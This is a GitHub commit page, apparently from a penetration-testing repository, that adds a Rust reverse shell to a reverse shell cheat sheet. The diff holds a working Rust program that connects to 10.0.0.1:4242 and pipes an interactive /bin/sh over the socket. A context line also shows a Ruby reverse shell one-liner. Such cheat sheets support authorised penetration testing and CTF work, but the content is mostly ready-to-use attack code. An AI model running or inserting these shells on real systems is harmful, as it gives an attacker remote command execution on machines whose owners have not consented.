Skip to content

Commit

Permalink
Add Rust reverse shell for unix
Browse files Browse the repository at this point in the history
  • Loading branch information
Tristan D'audibert committed Aug 21, 2023
1 parent d642e97 commit aea130a
Showing 1 changed file with 22 additions and 0 deletions.
22 changes: 22 additions & 0 deletions Methodology and Resources/Reverse Shell Cheatsheet.md
Original file line number Diff line number Diff line change
Expand Up @@ -28,6 +28,7 @@
* [Powershell](#powershell)
* [Python](#python)
* [Ruby](#ruby)
* [Rust](#rust)
* [Socat](#socat)
* [Telnet](#telnet)
* [War](#war)
Expand Down Expand Up @@ -197,6 +198,27 @@ NOTE: Windows only
ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```

### Rust

```rust
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};

fn main() {
let s = TcpStream::connect("10.0.0.1:4242").unwrap();
let fd = s.as_raw_fd();
Command::new("/bin/sh")
.arg("-i")
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })
.spawn()
.unwrap()
.wait()
.unwrap();
}
```
### Golang

```bash
Expand Down

0 comments on commit aea130a

Please sign in to comment.